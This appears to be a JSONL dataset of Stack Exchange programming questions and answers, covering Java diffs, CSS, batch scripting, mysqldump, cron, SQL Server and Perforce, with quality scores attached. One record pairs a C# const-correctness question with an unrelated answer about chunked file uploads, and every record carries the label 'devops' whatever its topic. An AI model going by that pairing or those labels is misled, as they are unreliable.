{"id": "hf_ce5f093edbc1", "question": "<p>I need to perform Diffs between Java strings. I would like to be able to rebuild a string using the original string and diff versions. Has anyone done this in Java? What library do you use?</p>\n\n<pre><code>String a1; // This can be a long text\nString a2; // ej. above text with spelling corrections\nString a3; // ej. above text with spelling corrections and an additional sentence\n\nDiff diff = new Diff();\nString differences_a1_a2 = Diff.getDifferences(a,changed_a);\nString differences_a2_a3 = Diff.getDifferences(a,changed_a);    \nString[] diffs = new String[]{a,differences_a1_a2,differences_a2_a3};\nString new_a3 = Diff.build(diffs);\na3.equals(new_a3); // this is true\n</code></pre>\n", "question_body": "", "answer": "Apache Commons has String diff\norg.apache.commons.lang.StringUtils\n```\n```\nStringUtils.difference(\"foobar\", \"foo\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.443942"}
{"id": "hf_b98a6f4c8c00", "question": "<p>I'm creating a UI that allows the user the select a date range, and tick or un-tick the days of the week that apply within the date range.</p>\n\n<p>The date range controls are <code>DateTimePickers</code>, and the Days of the Week are <code>CheckBoxes</code></p>\n\n<p>Here's a mock-up of the UI:</p>\n\n<p><code>From Date: (dtpDateFrom)</code><br/>\n<code>To Date:   (dtpDateTo)</code></p>\n\n<p><code>[y] Monday,   [n] Tuesday,   [y] Wednesday, (etc)</code></p>\n\n<p>What's the best way to show a total count the number of days, based not only on the date range, but the ticked (or selected) days of the week?</p>\n\n<p>Is looping through the date range my only option?</p>\n", "question_body": "", "answer": "Looping through wouldn't be your only option - you could perform\nsubtraction\nto figure out the total number of days, and subtract one for each of your \"skipped\" dates every week range in between that contains one of those days. By the time you figure out whether a day lands on one of the partial weeks at the beginning or end of the range and add\n```\n#weeks * skipped days in a week\n```\n, your code will be more complicated than it would be if just counted, but if you're expecting to have huge date ranges, it might perform better.\nIf I were you, I'd write the simple looping option and rewrite it if it turned out that profiling revealed it to be a bottleneck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.527401"}
{"id": "hf_4445f15a7051", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/114149/const-correctness-in-c-sharp\">&ldquo;const correctness&rdquo; in C#</a>  </p>\n</blockquote>\n\n\n\n<p>I have programmed C++ for many years but am fairly new to C#. While learning C# I found that the use of the <a href=\"http://en.csharp-online.net/const,_static_and_readonly\" rel=\"nofollow noreferrer\">const</a> keyword is much more limited than in C++. AFAIK, there is, <a href=\"http://andymcm.com/csharpfaq.htm#6.8\" rel=\"nofollow noreferrer\">for example</a>, no way to declare arguments to a function const. I feel uncomfortable with the idea that I may make inadvertent changes to my function arguments (which may be complex data structures) that I can only detect by testing. </p>\n\n<p>How do you deal with this situation?</p>\n", "question_body": "", "answer": "Stephen Denne\nhas a Metro implementation that satisfies your requirement. My answer is provided below after a short explination as to why that is the case.\nMost Web Service implementations that are built using HTTP as the message protocol are REST compliant, in that they only allow simple send-receive patterns and nothing more. This greatly improves interoperability, as all the various platforms can understand this simple architecture (for instance a Java web service talking to a .NET web service).\nIf you want to maintain this you could provide chunking.\n```\n```\nboolean uploadFile(String username, String password, String fileName, int currentChunk, int totalChunks, byte[] chunk);\n```\n```\nThis would require some footwork in cases where you don't get the chunks in the right order (Or you can just require the chunks come in the right order), but it would probably be pretty easy to implement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.615713"}
{"id": "hf_55ed95dfa796", "question": "<p>What is the difference between overflow:hidden and display:none?</p>\n", "question_body": "", "answer": "Overflow:hidden just says if text flows outside of this element the scrollbars don't show.    display:none says the element is not shown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.702983"}
{"id": "hf_5130867ae302", "question": "<p>While developing a C++ application, I had to use a third-party library which produced a huge amount of warnings related with a harmless #pragma directive being used.</p>\n<pre class=\"lang-none prettyprint-override\"><code>../File.hpp:1: warning: ignoring #pragma ident\nIn file included from ../File2.hpp:47,\n                 from ../File3.hpp:57,\n                 from File4.h:49,\n</code></pre>\n<p>Is it possible to disable this kind of warnings, when using the GNU C++ compiler?</p>\n", "question_body": "", "answer": "I believe you can compile with\n```\n```\n-Wno-unknown-pragmas\n```\n```\nto suppress these.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.727178"}
{"id": "hf_810e2e181fb5", "question": "<p>When setting the size of fonts in CSS, should I be using a percent value (<code>%</code>) or <code>em</code>? Can you explain the advantage?</p>\n", "question_body": "", "answer": "From\nhttp://archivist.incutio.com/viewlist/css-discuss/1408\n%: Some browsers doesn't handle\n  percent for font-size but interprets\n  150%  as 150px. (Some NN4 versions,\n  for instance.) IE also has problems\n  with  percent on nested elements. It\n  seems IE uses percent relative to\n  viewport  instead of relative to\n  parent element. Yet another problem\n  (though correct  according to the W3C\n  specs), in Moz/Ns6, you can't use\n  percent relative to  elements with no\n  specified height/width.\nem: Sometimes browsers use the wrong\n  reference size, but of the relative \n  units it's the one with least\n  problems. You might find it\n  interpreted as px  sometimes though.\npt: Differs greatly between\n  resolutions, and should not be used\n  for  display. It's quite safe for\n  print use though.\npx: The only reliable absolute unit on\n  screen. It might be wrongly \n  interpreted in print though, as one\n  point usually consist of several \n  pixels, and thus everything becomes\n  ridiculously small.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.751534"}
{"id": "hf_9b57e14db5fa", "question": "<p>I have a Visual Studio (2008) solution consisting of several projects, not all in the same namespace. When I build the solution, all the DLL files used by the top level project, <strong>TopProject</strong>, are copied into the <em>TopProject\\bin\\debug</em> folder. However, the corresponding .pdb files are only copied for some of the other projects. This is a pain, for example when using <a href=\"http://www.ndepend.com/\" rel=\"nofollow noreferrer\">NDepend</a>.</p>\n\n<p>How does Visual Studio decide which .pdb files to copy into higher level bin\\debug folders? How can I get Visual Studio to copy the others too?</p>\n\n<hr>\n\n<p>References are as follows: all the DLL files are copied to a central location, without their PDB files. <strong>TopProject</strong> <em>only</em> has references to these copied DLL files; the DLL files themselves, however, evidently know where their PDB files are, and (most of them) get copied to the <code>debug</code> folder correctly.</p>\n", "question_body": "", "answer": "From\nMSDN\n:\nA program database (PDB) file holds\n  debugging and project state\n  information that allows incremental\n  linking of a Debug configuration of\n  your program. A PDB file is created\n  when you compile a C/C++ program with\n  /ZI or /Zi or a Visual\n  Basic/C#/JScript .NET program with\n  /debug.\nSo it looks like the \"issue\" here (for lack of a better word) is that some of your DLLs are being built in debug mode (and hence emitting PDB files), and some are being built in release mode (hence not emitting PDB files). If that's the case, it should be easy to fix -- go into each project and update its build settings. This would be the default scenario, if you haven't done any tweaking of command line options.\nHowever, it will get trickier if that isn't the case. Maybe you're all in release or debug mode. Now you need to look at the command line compile options (specified in the project properties) for each project. Update them to /debug accordingly if you want the debugger, or remove it if you don't.\nEdit in Response to Edit\nYes, the DLL files \"know\" that they have PDB files, and have paths to them, but that doesn't mean too much. Copying just DLL files to a given directory, as others have mentioned, won't clear this issue up. You need the PDB files as well.\nCopying individual files in Windows, with the exception of certain \"bundle\"-type files (I don't know Microsoft's term for this, but \"complete HTML packages\" are the concept) doesn't copy associated files. DLL files aren't assembled in the \"bundle\" way, so copying them leaves their PDB file behind.\nI'd say the only answer you're going to have is to update your process for getting the DLL files to those central locations, and include the PDB files ... I'd love to be proven wrong on that, though!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.800556"}
{"id": "hf_f792331d356c", "question": "\n\n<p>How can you you insert a newline from your batch file output?</p>\n\n<p>I want to do something like:</p>\n\n<pre class=\"lang-bat prettyprint-override\"><code>echo hello\\nworld\n</code></pre>\n\n<p>Which would output:</p>\n\n<pre class=\"lang-bat prettyprint-override\"><code>hello\nworld\n</code></pre>\n", "question_body": "", "answer": "Use:\n```\n```\necho hello\necho:\necho world\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.903831"}
{"id": "hf_7ba6d404ae6b", "question": "<p>I have the following layout for my test suite:</p>\n\n<p>TestSuite1.cmd:</p>\n\n<ol>\n<li>Run my program</li>\n<li>Check its return result</li>\n<li>If the return result is not 0, convert the error to textual output and abort the script.  If it succeeds, write out success.</li>\n</ol>\n\n<p>In my single .cmd file, I call my program about 10 times with different input.</p>\n\n<p>The problem is that the program that I run 10 times takes several hours to run each time.  </p>\n\n<p>Is there a way for me to parallelize all of these 10 runnings of my program while still somehow checking the return result and providing a proper output file and while still using a <strong>single</strong> .cmd file and to a single output file?</p>\n", "question_body": "", "answer": "try the command\nstart\n, it spawns a new command prompt and you can send along any commands you want it to run.\nI'd use this to spawn batch files that run the tests and then appends to a output.txt using >>  as such:\n```\n```\ntestthingie.cmd >> output.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:19.941952"}
{"id": "hf_e23739064358", "question": "<p>I need to move entire tables from one MySQL database to another. I don't have full access to the second one, only phpMyAdmin access. I can only upload (compressed) sql files smaller than 2MB. But the compressed output from a mysqldump of the first database's tables is larger than 10MB.</p>\n\n<p>Is there a way to split the output from mysqldump into smaller files? I cannot use split(1) since I cannot cat(1) the files back on the remote server.</p>\n\n<p>Or is there another solution I have missed?</p>\n\n<p><strong>Edit</strong></p>\n\n<p>The --extended-insert=FALSE option to mysqldump suggested by the first poster yields a .sql file that can then be split into importable files, provided that split(1) is called with a suitable --lines option. By trial and error I found that bzip2 compresses the .sql files by a factor of 20, so I needed to figure out how many lines of sql code correspond roughly to 40MB.</p>\n", "question_body": "", "answer": "First dump the schema (it surely fits in 2Mb, no?)\n```\n```\nmysqldump -d --all-databases\n```\n```\nand restore it.\nAfterwards dump only the data in separate insert statements, so you can split the files and restore them without having to concatenate them on the remote server\n```\n```\nmysqldump --all-databases --extended-insert=FALSE --no-create-info=TRUE\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.006135"}
{"id": "hf_430a8967ec18", "question": "<p>I was wondering how i can force a user who has requested a page using Http to use the secure https version?</p>\n\n<p>I am using Websphere 6.1 as my application server and Rad 7 as my development environment</p>\n\n<p>Thanks\nDamien</p>\n", "question_body": "", "answer": "Websphere is not a complete http server. It does have 'Transport Chains', which act like an HTTP Server.\nNormally you will put a HTTP server in front. IBM provides IHS (IBM HTTP Server) which is a lightly modified Apache HTTP Server. The HTTP Server is configured with the httpd.conf file. There you add redirects in such a way that request for http are redirected to https.\nMaybe you can give some detailed information about your infrastructure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.031621"}
{"id": "hf_9cd11545040b", "question": "<p>Recently I noticed my application appears to be eating memory that never gets released. After profiling with CLRProfiler I've found that the Castle Windsor container I'm using is holding onto objects. These objects are declared with the lifestyle=\"transient\" attribute in the config xml.</p>\n\n<p>I've found if I put an explicit call to <code>IWindsorContainer.Release(hangingObject)</code>, that it will drop its references.</p>\n\n<p>This is causing a problem though, I wasn't expecting that with a transient lifestyle object CastleWindsor would keep a reference and effectively create a leak. It's going to be a rather mundane and error prone task going around inserting explicit Release calls in all the appropriate places.</p>\n\n<p>Have you seen this problem, and do you have any suggestions for how to get around it?</p>\n", "question_body": "", "answer": "You can set a lifestyle of singleton or transient though on objects in the container. Singleton objects I understand should last the life of the application, but I don't understand the usefulness of this behvaviour being the same for transient ones!\nCustom lifestyles can be created by implementing\n```\nILifestyleManager\n```\n. Maybe it's possible to implement this suitably to create a\n```\nReallyTransient\n```\nlifestyle type!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.056314"}
{"id": "hf_df24bc162d81", "question": "<p>How do I have a script run every, say 30 minutes?  I assume there are different ways for different OSs.  I'm using OS X.</p>\n", "question_body": "", "answer": "On MacOSX, you have at least the following options:\nRecurring iCal alarm with a \"Run Script\" action\nlaunchd\ncron (\nlink1\n,\nlink2\n)\nFrom personal experience, cron is the most reliable. When I tested, launchd had a number of bugs and quirks. iCal alarms only run when you are logged in (but that might be something you prefer).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.081510"}
{"id": "hf_6d51088e614b", "question": "<p>A <a href=\"http://www.google.com/search?ie=UTF-8&amp;oe=UTF-8&amp;sourceid=navclient&amp;gfns=1&amp;q=windows+cron\" rel=\"noreferrer\">Google search</a> turned up software that performs the same functions as cron, but nothing built into Windows.</p>\n\n<p>I'm running Windows XP Professional, but advice for any version of Windows would be potentially helpful to someone.</p>\n\n<p>Is there also a way to invoke this feature (which based on answers is called the Task Scheduler) programatically or via the command line?</p>\n", "question_body": "", "answer": "For the original question, asking about Windows XP (and Windows 7):\nWindows Task Scheduler\nFor command-line usage, you can schedule with the\nAT command\n.\nFor newer Microsoft OS versions, Windows Server 2012 / Windows 8, look at the\nschtasks\ncommand line utility.\nIf using PowerShell, the\nScheduled Tasks Cmdlets in Windows PowerShell\nare made for scripting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.106541"}
{"id": "hf_7d0391f76107", "question": "<p>My <a href=\"https://english.stackexchange.com/questions/19967/what-does-google-fu-mean\">Google-fu</a> has failed me.</p>\n\n<p>In Python, are the following two tests for equality equivalent?</p>\n\n<pre><code>n = 5\n# Test one.\nif n == 5:\n    print 'Yay!'\n\n# Test two.\nif n is 5:\n    print 'Yay!'\n</code></pre>\n\n<p>Does this hold true for objects where you would be comparing instances (a <code>list</code> say)?</p>\n\n<p>Okay, so this kind of answers my question:</p>\n\n<pre><code>L = []\nL.append(1)\nif L == [1]:\n    print 'Yay!'\n# Holds true, but...\n\nif L is [1]:\n    print 'Yay!'\n# Doesn't.\n</code></pre>\n\n<p>So <code>==</code> tests value where <code>is</code> tests to see if they are the same object?</p>\n", "question_body": "", "answer": "```\n==\n```\ndetermines if the values are equal, while\n```\nis\n```\ndetermines if they are the exact same object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.145219"}
{"id": "hf_fed14b843c7e", "question": "<p>I need to add a specific column if it does not exist. I have something like the following, but it always returns false:</p>\n\n<pre><code>IF EXISTS(SELECT *\n          FROM   INFORMATION_SCHEMA.COLUMNS\n          WHERE  TABLE_NAME = 'myTableName'\n                 AND COLUMN_NAME = 'myColumnName') \n</code></pre>\n\n<p>How can I check if a column exists in a table of the SQL Server database?</p>\n", "question_body": "", "answer": "Try this...\n```\n```\nIF NOT EXISTS(\n  SELECT TOP 1 1\n  FROM INFORMATION_SCHEMA.COLUMNS\n  WHERE \n    [TABLE_NAME] = 'Employees'\n    AND [COLUMN_NAME] = 'EmployeeID')\nBEGIN\n  ALTER TABLE [Employees]\n    ADD [EmployeeID] INT NULL\nEND\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.194436"}
{"id": "hf_8ae72fe42282", "question": "<p>The CSS rules <code>visibility:hidden</code> and <code>display:none</code> both result in the element not being visible. Are these synonyms?</p>\n", "question_body": "", "answer": "```\ndisplay:none\n```\nremoves the element from the layout flow.\n```\nvisibility:hidden\n```\nhides it but leaves the space.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.218935"}
{"id": "hf_100b98236e8c", "question": "<p>In MS SQL 2000 and 2005, given a datetime such as '2008-09-25 12:34:56' what is the most efficient way to get a datetime containing only '2008-09-25'?</p>\n\n<p>Duplicated <a href=\"https://stackoverflow.com/questions/2775/whats-the-best-way-to-remove-the-time-portion-of-a-datetime-value-sql-server\">here</a>.</p>\n", "question_body": "", "answer": "```\n```\nSelect DateAdd(Day, DateDiff(Day, 0, GetDate()), 0)\n```\n```\nDateDiff(Day, 0, GetDate()) is the same as DateDiff(Day, '1900-01-01', GetDate())\nSince DateDiff returns an integer, you will get the number of days that have elapsed since Jan 1, 1900.  You then add that integer number of days to Jan 1, 1900.  The net effect is removing the time component.\nI should also mention that this method works for any date/time part (like year, quarter, month, day, hour, minute, and second).\n```\n```\nSelect  DateAdd(Year, DateDiff(Year, 0, GetDate()), 0)\nSelect  DateAdd(Quarter, DateDiff(Quarter, 0, GetDate()), 0)\nSelect  DateAdd(Month, DateDiff(Month, 0, GetDate()), 0)\nSelect  DateAdd(Day, DateDiff(Day, 0, GetDate()), 0)\nSelect  DateAdd(Hour, DateDiff(Hour, 0, GetDate()), 0)\nSelect  DateAdd(Second, DateDiff(Second, '20000101', GetDate()), '20000101')\n```\n```\nThe last one, for seconds, requires special handling.  If you use Jan 1, 1900 you will get an error.\nDifference of two datetime columns caused overflow at runtime.\nYou can circumvent this error by using a different reference date (like Jan 1, 2000).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.243631"}
{"id": "hf_fc0ea6e39f44", "question": "<p>I need to increment a number in a source file from an Ant build script. I can use the <code><a href=\"http://ant.apache.org/manual/Tasks/replaceregexp.html\" rel=\"nofollow noreferrer\">ReplaceRegExp</a></code> task to find the number I want to increment, but how do I then increment that number within the <code>replace</code> attribute?</p>\n\n<p>Heres what I've got so far:</p>\n\n<pre><code>&lt;replaceregexp file=\"${basedir}/src/path/to/MyFile.java\"\n    match=\"MY_PROPERTY = ([0-9]{1,});\"\n    replace=\"MY_PROPERTY = \\1;\"/&gt;\n</code></pre>\n\n<p>In the replace attribute, how would I do </p>\n\n<pre><code>replace=\"MY_PROPERTY = (\\1 + 1);\"\n</code></pre>\n\n<p>I can't use the <code>buildnumber</code> task to store the value in a file since I'm already using that within the same build target. Is there another ant task that will allow me to increment a property?</p>\n", "question_body": "", "answer": "You can use something like:\n```\n<propertyfile file=\"${version-file}\">\n <entry key=\"revision\" type=\"string\" operation=\"=\" value=\"${revision}\" />\n <entry key=\"build\" type=\"int\" operation=\"+\" value=\"1\" />\n```\nso the ant task is propertyfile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.305334"}
{"id": "hf_78e6e13d606a", "question": "<p>I want to make a .NET Form as a TopMost Form for another external App (not .NET related, pure Win32) so it stays above that Win32App, but not the rest of the apps running.</p>\n\n<p>I Have the handle of the Win32App (provided by the Win32App itself), and I've tried <a href=\"http://msdn.microsoft.com/en-us/library/ms633541(VS.85).aspx\" rel=\"noreferrer\">Win32 SetParent() function</a>, via <a href=\"http://www.pinvoke.net/default.aspx/user32/SetParent.html\" rel=\"noreferrer\">P/Invoke in C#</a>, but then my .NET Form gets confined into the Win32App and that's not what I want.</p>\n", "question_body": "", "answer": "I think you're looking for is to P/Invoke\n```\nSetWindowLongPtr(win32window, GWLP_HWNDPARENT, formhandle)\n```\nGoogle Search", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.329689"}
{"id": "hf_c0ecdf46b187", "question": "<p>I use <em>Eclipse 3.3</em> in my daily work, and have also used <em>Eclipse 3.2</em> extensively as well.  In both versions, sometimes the Search options (Java Search, File Search, etc) in the menu get disabled, seemingly at random times.  However, with <kbd>Ctrl</kbd>+<kbd>H</kbd>, I am able to access the search functionality.  Does anyone know why this happens?  Has it been fixed in <em>Eclipse 3.4</em>?</p>\n", "question_body": "", "answer": "I don't have an exact answer.  I will recommend that you try to correlate the disablement with which perspective is active.  Likewise, which view is active.  I have been using 3.4 and not experienced this issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.366079"}
{"id": "hf_b8f60ee93b04", "question": "<p>I have inherited a project that uses LLBLGen Pro for the DB layer. The DB model requires that when a entry is deleted a flag (DeletedDate is set to the current time). The last programmer ignored this requirement and has used regular deletes throughout the entire application.</p>\n\n<p>Is there a way to set the code generator to do this automatically or do I have to overload each delete operator for the Entities that requires it?</p>\n", "question_body": "", "answer": "I implemented this in SQL Server 2005 using INSTEAD OF triggers on delete for any soft delete table. The triggers set the delete flag and perform clean-up. The beauty of this solution is that it correctly handles deletes issued by any system that accesses the database. INSTEAD OF is relatively new in SQL Server, I know there's an Oracle equivalent.\nThis solution also plays nicely with our O/R mapper -- I created views that filter out soft deleted records and mapped those. The views are also used for all reporting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.389217"}
{"id": "hf_4acfc3645519", "question": "<p>While normally it's good to always choose the right language for the job, it can sometimes be instructive to try and do something in a language which is wildly inappropriate.</p>\n\n<ol>\n<li>It can help you understand the problem better.  Maybe you don't <em>have</em> to solve it the way you thought you did.</li>\n<li>It can help you understand the language better.  Maybe it supports more features than you realized.</li>\n</ol>\n\n<p>And pushing this idea to it's illogical conclusion...how would you implement quicksort in a batch file?  Is it even possible?</p>\n", "question_body": "", "answer": "Turns out, it's not as hard as you might think.  The syntax is ugly as hell, but the batch  syntax is actually capable of some surprising things, including recursion, local variables, and some surprisingly sophisticated parsing of strings.  Don't get me wrong, it's a terrible language, but to my surprise, it isn't completely crippled.  I don't think I learnt anything about quicksort, but I learned a lot about batch files!\nIn any case, here's quicksort in a batch file - and I hope you have as much fun trying to understand the bizarre syntax while reading it as I did while writing it.  :-)\n```\n```\n@echo off\nSETLOCAL ENABLEDELAYEDEXPANSION\n\ncall :qSort %*\nfor %%i in (%return%) do set results=!results! %%i\necho Sorted result: %results%\nENDLOCAL\ngoto :eof\n\n:qSort\nSETLOCAL\n    set list=%*\n    set size=0\n    set less=\n    set greater=\n    for %%i in (%*) do set /a size=size+1\n    if %size% LEQ 1 ENDLOCAL & set return=%list% & goto :eof\n    for /f \"tokens=2* delims== \" %%i in ('set list') do set p=%%i & set body=%%j\n    for %%x in (%body%) do (if %%x LEQ %p% (set less=%%x !less!) else (set greater=%%x !greater!))\n    call :qSort %less%\n    set sorted=%return%\n    call :qSort %greater%\n    set sorted=%sorted% %p% %return%\nENDLOCAL & set return=%sorted%\ngoto :eof\n```\n```\nCall it by giving it a set of numbers to sort on the command line, seperated by spaces.  Example:\n```\n```\nC:\\dev\\sorting>qsort.bat 1 3 5 1 12 3 47 3\nSorted result:  1 1 3 3 3 5 12 47\n```\n```\nThe code is a bit of a pain to understand.  It's basically standard quicksort.  Key bits are that we're storing numbers in a string - poor man's array.  The second for loop is pretty obscure, it's basically splitting the array into a head (the first element) and a tail (all other elements).  Haskell does it with the notation x:xs, but batch files do it with a for loop called with the /f switch.  Why?  Why not?\nThe SETLOCAL and ENDLOCAL calls let us do local variables - sort of.  SETLOCAL gives us a complete copy of the original variables, but all changes are completely wiped when we call ENDLOCAL, which means you can't even communicate with the calling function using globals.  This explains the ugly \"ENDLOCAL & set return=%sorted%\" syntax, which actually works despite what logic would indicate.  When the line is executed the sorted variable hasn't been wiped because the line hasn't been executed yet - then afterwards the return variable isn't wiped because the line has already been executed.  Logical!\nAlso, amusingly, you basically can't use variables inside a for loop because they can't change - which removes most of the point of having a for loop.   The workaround is to set ENABLEDELAYEDEXPANSION which works, but makes the syntax even uglier than normal.  Notice we now have a mix of variables referenced just by their name, by prefixing them with a single %, by prefixing them with two %, by wrapping them in %, or by wrapping them in !.  And these different ways of referencing variables are almost completely NOT interchangeable!\nOther than that, it should be relatively easy to understand!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.413615"}
{"id": "hf_d9a78f29bcb6", "question": "<p>In a previous job we had a classic ASP application that no one wanted to migrate to ASP.NET.  The things that it did, it did very well.  </p>\n\n<p>However there was some new functionality that needed to be added that just seemed best suited to ASP.NET.  The decision was made to allow the system to become a weird hybrid of ASP and ASP.NET.  </p>\n\n<p>Our biggest sticking point was session management and we hacked together a solution to pass session values through form variables.  I've talked to others that handled this same problem through cookies.</p>\n\n<p>Both methods seem a horrible kluge (in addition to being terribly insecure).  </p>\n\n<p>Is there a better or cleaner way or is this just such a bad idea to begin with that discussion on the topic is pointless?</p>\n", "question_body": "", "answer": "I have had to deal with the same problem. In my case, I encrypted a key into a cookie and used the database for any other information.  I wrote the encryption in .NET and inter-op'd to decrypt the id on the ASP side.  There is some weirdness dealing with base-64 string in that ASP will not get the same string as .NET, so you may have to do as I did and rewrite the base-64 string to hex equivalent or some similar lowest-common-denominator tactic.  It is relatively secure (save a XSS attack).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.438514"}
{"id": "hf_5d1ec4191e6b", "question": "<p>How do I get a list of the files checked out by users (including the usernames) using P4V or P4? </p>\n\n<p>I want to provide a depot location and see a list of any files under that location (including sub folders) that are checked out.</p>\n", "question_body": "", "answer": "From the command line:\n```\n```\np4 opened -a //depot/Your/Location/...\n```\n```\nThe ... indicates that sub folders should be included.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.487363"}
{"id": "hf_8a42cd506131", "question": "<p>I want to discover all xml files that my ClassLoader is aware of using a wildcard pattern.  Is there any way to do this?</p>\n", "question_body": "", "answer": "Well, it is not from within Java, but\n```\njar -tvf jarname | grep xml$\n```\nwill show you all the XMLs in the jar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:20.550584"}
